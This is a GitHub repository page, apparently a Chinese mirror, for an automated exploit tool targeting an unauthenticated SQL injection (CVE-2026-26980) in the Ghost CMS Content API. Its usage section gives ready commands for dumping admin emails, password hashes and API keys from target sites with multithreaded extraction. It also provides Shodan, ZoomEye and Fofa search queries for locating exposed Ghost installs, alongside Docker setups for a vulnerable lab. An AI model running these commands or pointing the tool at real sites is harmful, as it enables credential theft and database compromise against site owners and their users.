vognik/CVE-2026-26980

GitHub: vognik/CVE-2026-26980

针对 Ghost CMS Content API 未授权 SQL 注入漏洞(CVE-2026-26980)的自动化利用工具,支持漏洞检测与多线程数据库数据导出。

Stars: 0 | Forks: 0

# CVE-2026-26980 — 👻 Ghost CMS Content API 未授权 SQLi Ghost 的 Content API 中存在一个 SQL 注入漏洞,允许未经身份验证的攻击者读取数据库中的任意数据。 | | | |---|---| | **CVE** | CVE-2026-26980 | | **CVSS** | 9.4 (严重) | | **受影响版本** | Ghost >= 3.24.0, <= 6.19.0 | | **已修复版本** | 6.19.1 | | **披露时间** | 2026-02-20 | | **贡献者** | Nicholas Carlini | | **公开漏洞利用** | [vognik](https://github.com/vognik/CVE-2026-26980) | | **类型** | 通过 Content API 实现的未授权 SQLi → 任意数据库读取 | ## 安装 ``` git clone https://github.com/vognik/CVE-2026-26980.git cd CVE-2026-26980 pip install -r ./requirements.txt ``` ## 如何使用 ``` usage: main.py [-h] -u URL [--api-key KEY] [-p PATH] [-k] [-c TYPE] [-t N] [-d {sqlite,mysql}] [-T NAME] [-C COL1,COL2] [-o FILE] options: -h, --help show this help message and exit -u, --url URL The base URL of the target Ghost --api-key KEY Ghost Content API Key (skips auto-discovery) -p, --api-path PATH Content API path (e.g., /ghost/api/content/) -k, --insecure Allow insecure server connections when using SSL (ignore SSL certificate errors) -c, --check TYPE Check for vulnerability: 'passive' (via meta tag) or 'active' (via SQL error trigger) -t, --threads N Number of concurrent threads for faster extraction (default: 15) -d, --dbms {sqlite,mysql} The database engine Ghost is running on. Default: sqlite -T, --table NAME Specific database table to dump (e.g., users, api_keys, members, posts) -C, --columns COL1,COL2 Specific columns to extract (comma separated) -o, --output FILE Save results to CSV file Usage Examples: python3 main.py -u http://target.com (Quickly extract admin email and password hash from a default SQLite setup) python3 main.py -u http://target.com -c passive (Check the site for the vulnerability using the meta tag on the main page) python3 main.py -u http://target.com -d mysql -T users -C email,password -o ./result.csv (Dump the 'email' and 'password' columns from the 'users' table and save the result to 'result.csv') python3 main.py -u http://target.com -d mysql -T api_keys -t 25 (Dump all API keys from the 'api_keys' table using 25 threads) Note: Most production Ghost instances use MySQL. Local/Small blogs use SQLite. ``` ## 演示 ![demo](https://static.pigsec.cn/wp-content/uploads/repos/2026/04/b2bda99f25104023.gif) ## 搜索语法 image | | | |---|---| | **Shodan** | `http.html:"data-ghost="` | | **Zoomeye** | `http.body="data-ghost="` | | **Fofa** | `body="data-ghost="` | ## 实验环境搭建 ### sqlite ``` docker run -p 8080:2368 -e database__client=sqlite3 -e database__connection__filename=/var/lib/ghost/content/data/ghost.db -e url=http://localhost:2368 -e port=2368 ghost:6.16.1 ``` ### mysql ``` cd lab docker compose up ``` ## 原始研究 Nicholas Carlini - Black-hat LLMs | [un]prompted 2026 [![观看](https://img.youtube.com/vi/1sd26pWhfmg/maxresdefault.jpg)](https://www.youtube.com/watch?v=1sd26pWhfmg) ## 📄 许可证 本项目基于 **GPL-3.0 许可证**授权。 有关详细信息,请参阅 `LICENSE` 文件。
标签:CISA项目, Content API, CVE, CVE-2026-26980, CVSS 9.4, Ghost CMS, Maven, POC, Python, SQLite, Web安全, 任意数据库读取, 数字签名, 无后门, 未授权访问, 漏洞验证, 网络安全, 蓝队分析, 请求拦截, 逆向工具, 隐私保护, 高危漏洞